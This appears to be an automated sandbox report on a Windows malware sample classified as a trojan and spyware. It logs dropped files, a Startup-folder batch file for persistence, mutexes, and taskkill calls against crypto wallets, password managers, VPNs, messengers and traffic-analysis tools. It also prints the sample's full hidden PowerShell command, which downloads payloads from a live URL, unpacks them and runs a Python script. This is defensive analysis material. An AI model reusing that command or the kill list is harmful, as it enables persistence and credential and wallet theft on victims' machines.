Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\_winxptheme.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libssl-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32pipe.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32ts.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32service.pyd	Jump to dropped file

Source: Joe Sandbox View	Dropped File: C:\Users\Public\Document\DLLs\_asyncio.pyd A9A99A2B847E46C0EFCE7FCFEFD27F4BCE58BAF9207277C17BFFD09EF4D274E5
Source: Joe Sandbox View	Dropped File: C:\Users\Public\Document\DLLs\_bz2.pyd 62173A8FADD4BF4DD71AB89EA718754AA31620244372F0C5BBBAE102E641A60E

Source: unicodedata.pyd.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _testbuffer.pyd.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winCMD@109/1492@4/4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7256:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4240:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5264:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6956:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7968:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4940:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7392:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2312:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gkiln5tf.agv.ps1

Jump to behavior

Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "ArmoryQt.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Atomic Wallet.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "bytecoin-gui.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Coinomi.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Element.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Exodus.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Guarda.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "KeePassXC.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "NordVPN.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "OpenVPNConnect.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "seamonkey.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Signal.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "filezilla.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "filezilla-server-gui.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "keepassxc-proxy.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nordvpn-service.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "steam.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "walletd.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "waterfox.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Discord.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "DiscordCanary.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "burp.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Ethereal.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "EtherApe.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "fiddler.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "HTTPDebuggerSvc.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "HTTPDebuggerUI.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "snpa.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "solarwinds.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "tcpdump.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "telerik.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wireshark.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "winpcap.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "telegram.exe")

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: taskkill.exe, 00000021.00000002.1973486289.000001E6B1C25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "filezilla.exe")ules;C\Window,, u0t
Source: taskkill.exe, 00000015.00000002.1952805342.000001EFAB805000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Guarda.exe")Module;C--~00t
Source: taskkill.exe, 00000009.00000002.1932233503.0000020E80B35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "ArmoryQt.exe")dules;--
Source: taskkill.exe, 00000035.00000002.2005782643.000001D16BA05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Ethereal.exe")dules;--?
Source: taskkill.exe, 00000041.00000002.2027409618.000001D0E6435000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "solarwinds.exe")les;C:Window,,dg0tC
Source: taskkill.exe, 00000047.00000002.2045281863.000002A2335F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wireshark.exe")ules;C\Window,,5Q0t_3
Source: taskkill.exe, 00000013.00000002.1948797388.000001A90E505000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Exodus.exe")Module;C--
Source: taskkill.exe, 00000017.00000002.1955337908.0000027365BC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "KeePassXC.exe")ules;C\Window,,
Source: taskkill.exe, 00000033.00000002.2002024205.000001A916AD5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "burp.exe")l\Modues;C--
Source: taskkill.exe, 0000003F.00000002.2022157718.000001B225CA5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "snpa.exe")l\Modues;C--EK0t
Source: taskkill.exe, 0000004B.00000002.2050932204.000001AF96955000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "telegram.exe")dules;--
Source: taskkill.exe, 00000037.00000002.2009186731.0000018462065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "EtherApe.exe")dules;--
Source: taskkill.exe, 0000001D.00000002.1964683460.0000021EE09B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "seamonkey.exe")ules;C\Window,,`
Source: taskkill.exe, 00000029.00000002.1985473503.00000236CFA55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "steam.exe")\Moduls;C--
Source: taskkill.exe, 0000002D.00000002.1991794244.000002580C5D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "waterfox.exe")dules;--4^0t]
Source: taskkill.exe, 0000001F.00000002.1969332715.0000020FE59B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Signal.exe")Module;C--

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\run.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Document\python.exe "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM ArmoryQt.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM "Atomic Wallet.exe"
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM bytecoin-gui.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Coinomi.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Element.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Exodus.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Guarda.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM KeePassXC.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM NordVPN.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM OpenVPNConnect.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM seamonkey.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Signal.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM filezilla.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM filezilla-server-gui.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM keepassxc-proxy.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM nordvpn-service.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM steam.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM walletd.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM waterfox.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Discord.exe
